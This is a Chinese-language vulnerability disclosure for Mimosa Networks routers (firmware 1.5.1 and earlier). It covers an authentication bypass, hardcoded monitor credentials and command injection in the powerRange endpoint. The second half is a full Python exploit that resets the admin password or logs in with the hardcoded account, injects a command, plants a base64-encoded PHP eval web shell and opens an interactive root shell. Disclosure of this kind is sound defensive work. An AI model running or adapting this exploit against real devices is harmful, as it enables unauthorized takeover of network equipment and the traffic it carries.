漏洞摘要
Mimosa Networks是全球无线宽带解决方案的技术领导者,为全球的服务商,企业,和政府运营商提供光纤连接服务。该路由器中的漏洞可以通过在web界面中执行恶意代码来绕过身份认证并提权。
影响范围
固件版本 <= 1.5.1(最新版本)
漏洞细节
所有的Mimosa路由器的web界面均使用php编写,并且Mimosa开发人员还有自己的小型php框架。
web界面的php脚本路径位于/var/www/
,其中一些是处理API请求,一些用于web界面。让我们来看下代码是如何处理身份认证的。
身份认证绕过/提权
/var/www/core/tinyframe/mimosa.php
文件:
class Dispatcher { //Dispatcher class (Handles routing) included for reference
private $output;
public function __construct() {
if (isset($_GET['q'])) { //parse action from url querystring
$array = explode('.', $_GET['q']);
if (count($array)) {
Application::$controller['name'] = strtolower(array_shift($array));
if (count($array)) {
Application::$controller['action'] = strtolower(array_shift($array));
}
}
unset($_GET['q']);
}
}
...
//line 277
class Controller extends Application { // The controller class handles authentication
...
//line 308
$noCheckController = array( // This are the controllers and functions that won't require authentication
'index' => array('login', 'logout', 'activation', 'recovery', 'keeprecovery'),
'info' => array('device'),
'preferences' => array('changepass'), // <--- The bug is here
'tools' => array('antenna_data')
);
可以看到,preferences
端点不用进行身份验证(可在<router_ip> /index.php?q=preferences.preferences
处访问),提权和身份绕过漏洞就存在这处。我们来看下代码处理过程,试试可以分析下。
/var/www/core/controller/preferences.php
文件:
//line 111
public function changepass() {
if(self::$isPost) { // Checks if the request sent is POST
$saveArray = $this->saveArray('SuperPassword'); //Gets SuperPassword (admin password) from or request
foreach($saveArray as &$value) {
$value = md5($value); // md5 hashing the password value
}
$_SESSION['MIM_STATE']['IsSuper'] = true; //<-- BUG1 Escalates our privileges to SuperUser (web ui)
$this->ajaxSave('Passwords', $saveArray); //<-- BUG2 Changes the admin password with our supplied value.
Flags::create('password_modified');
}
}
如上所示,漏洞原因非常简单,也非常容易利用。
利用第一个漏洞可以成为超级用户,这很重要,因为我们需要通过登录才能使会话有效。代码中使用$_SESSION
全局变量检查会话超时。只有登陆之后才会设置这个值。若该值没有被设置,则验证就会失败。但幸运的是,mimosa有一个硬编码的web用户(monitor:mimosa
),可以使用最低权限登录,更好的是,不可以对更改该用户的密码或禁用。使用硬编码的认证并提权,我们可以获得对web UI
管理权限。
第二个漏洞非常简单。我们可以无需身份验证来更改超级用户的密码。并可以使用新密码登录并完全控制。下面的PoC
利用了这两个缺陷来实现RCE
。
远程命令执行
远程命令执行需要身份验证通过才可利用,通过上面其中一个漏洞,我们可获取一个有效会话并利用该漏洞。这个漏洞非常简单,让我们看下代码。
public function powerRange() { $isR5 = $this->product == 'B02'; $bw = $_GET['bw']; $freq1= $_GET['freq']; $freq2 = $_GET['freq2']; $country = country(); if ((strlen(substr($bw, 2)) > 2)) $bw = '3' . str_replace(' FD','',substr($bw, 2)); else $bw = substr($bw, 2); $cmd = "reg_query power_range $country ". $bw ." $freq1 $freq2"; if ( MIMOSA_PRODUCT == 'B11') { $cmdRemote = $cmdLocal = $cmd; $cmdLocal .= " gain ". $_GET['gain']; $cmdRemote.= " gain ". $_GET['gainRemote']; $minMaxLocal = array(); $minMaxRemote = array(); $lines = doCmd($cmdLocal, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2); foreach ($lines as $key => $line) { $x = explode(':', $line); $minMaxLocal[] = array((int) trim($x[2]), (int) trim($x[1])); } $lines = doCmd($cmdRemote, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2); foreach ($lines as $key => $line) { $x = explode(':', $line); $minMaxRemote[] = array((int) trim($x[2]), (int) trim($x[1])); } $this->options = array('Power' => range($minMaxLocal[0][0], $minMaxLocal[0][1]), 'Power2' => range($minMaxRemote[0][0], $minMaxRemote[0][1])); } else { if ($isR5) { if (intval($_GET['gain']) > intval($_GET['gainRemote'])) $cmd .= " gain ". $_GET['gain']; else $cmd .= " gain ". $_GET['gainRemote']; } $lines = doCmd($cmd, false, true, "power_range_".$country."_".$bw."_".$freq1."_".$freq2); $minMax = array(); foreach ($lines as $key => $line) { $x = explode(':', $line); $minMax[] = array((int) trim($x[2]), (int) trim($x[1])); } if(count($minMax) > 1) { $this->options = array('Power' => range($minMax[0][0], $minMax[0][1]), 'Power2' => range($minMax[1][0], $minMax[1][1])); } else { $this->options = array('Power' => range($minMax[0][0], $minMax[0][1])); } }
从上面代码中我们可以看到函数powerRange()
(可在<router_ip>/index.php?q=wireless.powerRange
处访问)使用doCmd()
执行命令,但却没有进行过滤。如果产品为B11,则代码具有俩条路径,但是两种情况下都会发生RCE。
顺便说一下,/var/www/
目录默认不可写(squashfs
文件系统),可通过使用挂载/var/www/help/
到/tmp/<some_dir>
这个目录来上传shell
。
Demo
https://ssd-disclosure.com/wp-content/uploads/2020/06/mimosaexpl.gif
Exploit
#!/usr/bin/python2 import sys import json import requests import urllib3 from base64 import b64encode as encode urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class MimosaExploit(): def __init__(self,url): self.url = url self.cookie = None def get_version(self): print '[+] Fingerprinting device.' r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'a','password':'b'}) if r.status_code != 200: print "[-] Failed to fetch device info, Are you sure this is mimosa device?" return False else: try: data = json.loads(r.text) print '[+] Device Model: {}\n[+] Version: {}'.format(data['productName'],data['version']) return True except Exception: print '[-] Failed to parse device info.' return False def LoginMonitor(self): print '[+] Attempting to login as the monitor user (lowest privilege)' r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'monitor','password':'mimosa'}) if r.status_code != 200 and r.text.find('error') != -1 and r.text.find('Login failed') != -1: print '[+] Login seems to have failed :(' print '[+] Try using the password change exploit?' return False if 'Set-Cookie' not in r.headers.keys(): print '[+] No session recieved, maybe retry?' return False self.cookie = r.headers['Set-Cookie'].split(';')[0].split('=')[1] print '[+] Got cookie: {}'.format(self.cookie) def LoginAdmin(self): print '[+] Attempting to login as the admin user' r = requests.post(self.url+'/index.php?q=index.login&mimosa_ajax=1',verify=False,data={'username':'admin','password':'admin'}) if r.status_code != 200 and r.text.find('error') != -1 and r.text.find('Login failed') != -1: print '[+] Login seems to have failed :(, maybe retry?' return False if 'Set-Cookie' not in r.headers.keys(): print '[+] No session recieved, maybe retry?' return False self.cookie = r.headers['Set-Cookie'].split(';')[0].split('=')[1] print '[+] Got cookie: {}'.format(self.cookie) def EscalatePrivilege(self): print '[+] Escalating privilege to Super User' r = requests.post(self.url+'/index.php?q=preferences.changepass&mimosa_ajax=1',verify=False,data={'super':'GotJuice?'},cookies={'PHPSESSID':self.cookie}) if r.status_code != 200: print '[+] Failed to escalate privileges' return False try: json.loads(r.text) except: print '[-] Failed to escalate privileges, Invalid response' return False print '[+] Successfully got Super User privileges' def ChangeAdminPassword(self): print '[+] Changing the admin password to admin' r = requests.post(self.url+'/index.php?q=preferences.changepass&mimosa_ajax=1',verify=False,data={'super':'GotJuice?'},cookies={'PHPSESSID':self.cookie}) if r.status_code != 200: print '[+] Failed to change the password' return False try: json.loads(r.text) except: print '[-] Failed to change the password, Invalid response' return False print '[+] Successfully changed the admin password' def ExploitRCE(self,Shell=True): print '[+] Beginning RCE exploit' if Shell == False: cmd = raw_input("Input command you want to execute> ") else: # Shell base64 decoded #<?php #eval(base64_decode($_REQUEST['p'])); #?> cmd = "mkdir /tmp/.help;cp -r /var/www/help/* /tmp/.help;mount | grep /var/www/help || mount -o bind /tmp/.help /var/www/help;echo PD9waHAKZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsncCddKSk7Cj8+ | base64 -d > /tmp/.help/load_help.php" r = requests.get(self.url+'/index.php?q=wireless.powerRange&mimosa_ajax=1&bw=ASS;'+cmd+';#&gain=BB&gainRemote=AA',verify=False,cookies={'PHPSESSID':self.cookie}) if r.status_code != 200 and r.text.lower().find('power') == -1: print '[+] Executing the command might have failed' return False else: print '[+] Successfully executed the command' if Shell == True: print '[+] Checking if shell is uploaded' r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode("echo \"_UPLOADED_\";")}) if r.status_code == 200 and r.text.strip() == '_UPLOADED_': print '[+] Shell is uploaded' else: print '[-] Uploading the shell might have failed, retry?' return False ch = raw_input("Would you like to execute a semi interactive shell?(Y/N): ") if ch.lower() == 'y': print '[+] Running an interactive command shell' print '\n\n[*] Use quit to exit\n[*] clean_up to remove the webshell\n[*] prefix commands with php to run php code' while True: cmd = raw_input("root@{}> ".format(self.url.split('/')[2])).strip() if cmd == "quit": print '[+] Exiting command shell.' return True elif cmd == 'clean_up': cmd = encode('system("rm -rf load_help.php && echo __DONE__");') r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':cmd}) if r.status_code != 200: print '[+] Something went wrong while executing the command' elif r.text.strip() == '__DONE__': print '[+] Exploit cleaned up, exit now please' elif cmd.startswith("php "): r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode(cmd[4:])}) if r.status_code != 200: print '[+] Execution Failed.' else: print r.text r = requests.post(self.url+'/help/load_help.php',verify=False,data={'p':encode('system("'+cmd.replace('"','\\"')+' 2>&1");')}) if r.status_code != 200: print '[+] Something went wrong while executing the command' print r.status_code print r.text else: print r.text else: print '[+] Your shell should be at {}/help/load_help.php' print '[+] use GET/POST parameter p to execute php code' print '[+] Note the php code sent through p has to be base64 encoded' return True else: print '[+] Command should be executed' return True def run(self): print '[+] Mimosa routers Authentication Bypass/Privilege Escalation/RCE exploit' print '[*] Please choose operation:\n\t 1) Exploit RCE using hard coded credentials (best choice)\n\t 2) Exploit RCE by changing the admin password (Intrusive) ' ch = raw_input('Choice> ') if ch == "1": if(self.get_version() == False): print '[-] Fingerprinting Failed, bailing' exit(0); if(self.LoginMonitor() == False): print '[-] Failed to Login using hardcoded creds, Bailing' exit(0); shell = raw_input('[+] Would you Like to upload a shell? (If Not you\'ll be asked for a custom command)(Y\N): ') if shell.strip().lower() == 'y': self.ExploitRCE() else: self.ExploitRCE(Shell=False) if ch == "2": if(self.get_version() == False): print '[-] Fingerprinting Failed, bailing' exit(0); if(self.ChangeAdminPassword() == False): print '[-] Failed to change creds, Bailing' exit(0); if(self.LoginAdmin() == False): print '[-] Failed to Login as admin, Bailing' exit(0); shell = raw_input('[+] Would you Like to upload a shell? (If Not you\'ll be asked for a custom command)(Y\N): ') if shell.strip().lower() == 'y': self.ExploitRCE() else: self.ExploitRCE(Shell=False) if __name__ == "__main__": if len(sys.argv) < 2: print 'Usage: {} <url>'.format(sys.argv[0]) exit(0) ex = MimosaExploit(sys.argv[1]) ex.run()
来源:freebuf.com 2020-07-19 12:13:14 by: Fnas0n
请登录后发表评论
注册